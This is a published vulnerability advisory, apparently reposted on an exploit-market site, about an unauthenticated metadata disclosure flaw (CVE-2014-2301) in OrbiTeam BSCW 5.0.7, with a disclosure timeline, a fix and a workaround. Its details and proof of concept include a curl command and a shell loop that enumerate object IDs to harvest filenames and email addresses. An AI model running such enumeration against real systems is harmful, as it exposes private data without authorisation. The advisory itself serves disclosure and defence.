[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

OrbiTeam BSCW 5.0.7 Metadata Information Disclosure Vulnerability

Author
RedTeam Pentesting
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-22226
Category
remote exploits
Date add
08-05-2014
CVE
CVE-2014-2301
Platform
multiple
RedTeam Pentesting discovered an information disclosure vulnerability in
OrbiTeam's BSCW collaboration software. An unauthenticated attacker can
disclose metadata about internal objects which are stored in BSCW.


Details
=======

Product: BSCW
Affected Versions: BSCW <=5.0.7
Fixed Versions: BSCW >=5.0.8
Vulnerability Type: Information Disclosure
Security Risk: medium
Vendor URL: http://www.bscw.de/english/product.html
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-003
Advisory Status: published
CVE: CVE-2014-2301
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2301


Introduction
============

"The BSCW shared workspace system is the tool of choice for efficient
group collaboration. BSCW permits the creation of documents,
appointments, contacts, tasks and notes within shared workspaces.
Without having to install additional software, team members can access
this data around-the-clock, from anywhere in the world. Mission-critical
information is constantly available to all authorised personnel
regardless of location, ensuring that complex workflows can be
coordinated with minimal effort."

(from OrbiTeam's homepage)


More Details
============

BSCW uses the URL parameter "op" to select different functions of the
application. For example the password reset dialog can be used by
opening the following URL:

https://www.example.com/pub/bscw.cgi/?op=chpwd

The server maps the value provided by the parameter "op" to locally
stored python modules which provide handler functions that are called to
generate HTTP responses. It was discovered that sensitive metadata about
internally stored objects of BSCW can be disclosed by using the "inf"
operation.

When opening the following URL, the filename of a document which
is identified by the value "12345" is disclosed in the response
sent by the server (output shortened):

$ curl --header 'Cookie: _pub_bscws="e4efb9e7ace7a12de82aa7a4aff1ab2a:1"' \
     "http://www.example.com/pub/bscw.cgi/12345?op=inf"
[...]
<table summary="" class="iTab" border="0" cellspacing="1" cellpadding="4" width="440">
    <tr valign="top">
      <td class="iLabel"  id="small"  width="88">Name</td>
      <td class="iValueB" width="352">Contract-XXXXX.doc</td>
    </tr>
</table>
[...]

The cookie used in the above command is generated by requesting the
login page of BSCW. It is not necessary to enter credentials.

By iterating over the ids which are assigned in ascending order,
attackers can enumerate the names of all objects stored in BSCW without
prior authentication. This includes filenames and email addresses.


Proof of Concept
================

When the following loop is run with a valid (but unauthenticated) BSCW
cookie, it will find names for the BSCW objects 10000 to 30000:

$ for id in `seq 10000 30000`; do
     filename = `curl --silent --header 'Cookie: _pub_bscws="COOKIE_COOKIE_COOKIE"' \
                "http://www.example.com/pub/bscw.cgi/${id}?op=inf" | \
                grep "iValueB" | \
                sed -e 's;^.*<td class="iValueB" width="352">\(.*\)</td>.*$;\1;'`
     echo "${id}: ${filename}"
done


Workaround
==========

It may be possible to add another authentication layer, for example
HTTP-Authentication, to limit access to this BSCW information disclosure
to persons authorized to use BSCW anyway.


Fix
===

Update to version 5.0.8.


Security Risk
=============

The risk is estimated to be medium. This vulnerability does not allow
attackers to access files stored in BSCW. They can however retrieve
filenames, which may be enough to draw conclusions about the
corresponding file contents, and other potentially sensitive data such
as email addresses.


Timeline
========

2014-02-20 Vulnerability identified
2014-03-04 Customer approved disclosure to vendor
2014-03-06 CVE number requested and assigned
2014-03-07 Vendor notified
2014-03-10 Vendor acknowledges vulnerability
2014-04-22 Vendor released fixed version
2014-05-08 Advisory released

#  0day.today [2024-12-27]  #